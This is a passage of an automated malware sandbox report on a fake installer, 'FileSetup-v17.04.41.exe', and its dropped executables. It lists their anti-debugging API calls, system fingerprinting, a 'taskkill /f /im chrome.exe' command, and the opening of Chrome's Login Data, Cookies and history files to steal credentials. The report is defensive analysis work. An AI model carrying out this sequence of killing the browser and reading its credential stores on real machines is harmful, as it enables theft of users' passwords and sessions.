Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000EFFC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_1000EFFC
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF461F SetUnhandledExceptionFilter,		29_2_00BF461F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF1C57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		29_2_00BF1C57
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF373A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		29_2_00BF373A
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF631F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		29_2_00BF631F

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses taskkill to terminate processes

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe

Jump to behavior

Contains functionality to add an ACL to a security descriptor

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_1001A0F0 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateMutexA,GetLastError,

4_2_1001A0F0

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004A661B cpuid

1_2_004A661B

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,		1_2_0048E010
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,_malloc,GetLocaleInfoA,MultiByteToWideChar,		1_2_004A6688
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,		1_2_004A67C3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,		1_2_004A47EC
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA,		1_2_004A67FE
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,		1_2_004A693B
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,		1_2_004A4E48
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,		1_2_004990E2
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,		1_2_004A5099
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: GetLocaleInfoA,		4_2_10017CF0
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: GetLocaleInfoA,		29_2_00BF7189

Queries device information via Setup API

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

4_2_10019780

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Contains functionality to query local / system time

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_00492AD9 GetSystemTimeAsFileTime,

1_2_00492AD9

Contains functionality to query windows version

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_004560A0

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\hihistory			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior